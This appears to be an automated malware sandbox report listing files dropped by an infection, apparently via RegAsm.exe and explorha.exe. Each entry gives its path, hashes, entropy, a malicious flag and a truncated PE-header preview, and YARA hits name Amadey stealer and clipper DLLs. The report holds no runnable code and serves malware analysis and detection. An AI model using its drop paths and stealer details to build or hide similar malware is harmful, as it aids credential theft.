C:\Users\user\AppData\Local\dmmb0z6yJ22pC75a4y49Nfob.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\evHtDP9yDvs3XYDQg8lqEVoH.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\f2NBhcBIObRGHagt6xPQoMa2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.704045744410397
Encrypted:	false
SSDEEP:	3072:uJNgSgE68pOq15/QN1cV+exuCNT0XLeaU2eAoX4QwqnoBm9sZ2gfg2eX15CFusKP:UnN15YgV27It/4QwkoBm9Vg5m1GK0
MD5:	FECBBAC6C0B95A95776F29BDAA57C6D5
SHA1:	DC1B7F093F0FCEC1502916F2F248ECB5916F15CC
SHA-256:	83765226ABB0423196C083BC6B6FB5E8EA2D078B4C885165FEC1401ACB581695
SHA-512:	1B1D573930B2FE99B91A327DFAE23C14536A29A4E71898E77D6B8697B11A521EE07F4032F5F26ABB1DB28BBF6E6D198599C68ABAD984B6C6C15C7EFD1EA9AFCF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....Zd.....................\|`......A....... ....@...........................a......'.........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..<m... ...n..................@..@.data.....]......n...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\gKIISy7hixfPFGDeeM7cQzit.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\gPQjkT7jjoMSIv7cXyWMW1C4.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\gzxs1MlpU5tnMfkC7kzgvR1h.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.704045744410397
Encrypted:	false
SSDEEP:	3072:uJNgSgE68pOq15/QN1cV+exuCNT0XLeaU2eAoX4QwqnoBm9sZ2gfg2eX15CFusKP:UnN15YgV27It/4QwkoBm9Vg5m1GK0
MD5:	FECBBAC6C0B95A95776F29BDAA57C6D5
SHA1:	DC1B7F093F0FCEC1502916F2F248ECB5916F15CC
SHA-256:	83765226ABB0423196C083BC6B6FB5E8EA2D078B4C885165FEC1401ACB581695
SHA-512:	1B1D573930B2FE99B91A327DFAE23C14536A29A4E71898E77D6B8697B11A521EE07F4032F5F26ABB1DB28BBF6E6D198599C68ABAD984B6C6C15C7EFD1EA9AFCF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....Zd.....................\|`......A....... ....@...........................a......'.........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..<m... ...n..................@..@.data.....]......n...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\i8dOWYOLtbNAxDJGOQ8Wt9el.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\iFyHzFXRkeOppMlu3FtGrLYy.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\iO9tAKw78L31Wsbvnq5kt5m1.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\laQhqKepZhfkS5rQoYOvKJAy.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\leqbtljZtxj2WxVvdmpHiNsI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\mBoc1pbzy7gOQT20pyEZL3en.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\oqwWhViccQzmDvkS751EZRiG.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\xF7m0A44x6KodDxbhAtiDsub.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	2437912
Entropy (8bit):	7.913512358164593
Encrypted:	false
SSDEEP:	49152:25HOOeI0PrBsku297659/XQR70jEUHD5Gl09XCWKYhNj:25rebqkXe5ZQRA/FGl0Z3KKj
MD5:	F6A0D4349D9A0CEAB75A7BAF7285F2A9
SHA1:	9ABFF945F6987830AA0A1E2FB798080DC91011D6
SHA-256:	B48255236A72B0D96FD25F42BE98CFB1694AA7D4824EE46C2E3B0DB397B7FDDF
SHA-512:	BB701C5BF26A9DEBDCB325DE902BC4A254EFBBF737129BBA86D19A1207E647F54BA1D2056A68ED39B22BBD14BB50D2125C9D82FFDB7337806975FCBA6A1B4C9D
Malicious:	true
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d.....)f.........."....'.....J........i........@......................................%... ..................................................`.......'.......h.......$..a...................................p.(................................................... ..'............................. ......'..........................rsrc.........'.....................@....idata.......`......X..............@....tls.........p......Z...................themida..>...*......\..............`....boot....v....i..v...\..............`..`........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000071001\jok.exe
File Type:	data
Category:	modified
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400158525810517
Encrypted:	false
SSDEEP:	3072:Q3uSD+ZwruS0bGcuZRt2sSZV/Q3IegRQod4l:AuTiabHuZRAFtlD4l
MD5:	726CD06231883A159EC1CE28DD538699
SHA1:	404897E6A133D255AD5A9C26AC6414D7134285A2
SHA-256:	12FEF2D5995D671EC0E91BDBDC91E2B0D3C90ED3A8B2B13DDAA8AD64727DCD46
SHA-512:	9EA82E7CB6C6A58446BD5033855947C3E2D475D2910F2B941235E0B96AA08EEC822D2DD17CC86B2D3FCE930F78B799291992408E309A6C63E3011266810EA83E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...j..e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460494158653329
Encrypted:	false
SSDEEP:	24576:IvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggky+yC7:IsMPSYcS5wPi095Pbg9y
MD5:	15A42D3E4579DA615A384C717AB2109B
SHA1:	22AEEDEB2307B1370CDAB70D6A6B6D2C13AD2301
SHA-256:	3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103
SHA-512:	1EB7F126DCCC88A2479E3818C36120F5AF3CAA0D632B9EA803485EE6531D6E2A1FD0805B1C4364983D280DF23EA5CA3AD4A5FCA558AC436EFAE36AF9B795C444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d...i..e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\Pictures\0co9idnjzay1KSn3DMfCsBSw.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\11xbcpylNeYY4tZ39QN34xGC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	2437912
Entropy (8bit):	7.913512358164593
Encrypted:	false
SSDEEP:	49152:25HOOeI0PrBsku297659/XQR70jEUHD5Gl09XCWKYhNj:25rebqkXe5ZQRA/FGl0Z3KKj
MD5:	F6A0D4349D9A0CEAB75A7BAF7285F2A9
SHA1:	9ABFF945F6987830AA0A1E2FB798080DC91011D6
SHA-256:	B48255236A72B0D96FD25F42BE98CFB1694AA7D4824EE46C2E3B0DB397B7FDDF
SHA-512:	BB701C5BF26A9DEBDCB325DE902BC4A254EFBBF737129BBA86D19A1207E647F54BA1D2056A68ED39B22BBD14BB50D2125C9D82FFDB7337806975FCBA6A1B4C9D
Malicious:	true
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d.....)f.........."....'.....J........i........@......................................%... ..................................................`.......'.......h.......$..a...................................p.(................................................... ..'............................. ......'..........................rsrc.........'.....................@....idata.......`......X..............@....tls.........p......Z...................themida..>...*......\..............`....boot....v....i..v...\..............`..`........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\1NXbTL9dcUCk55eVv5KRJhmL.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\3N5jWnvXHqfYUsxTijnW3Uc5.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\5nFKWr1EKUheiDEHo671vxm8.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
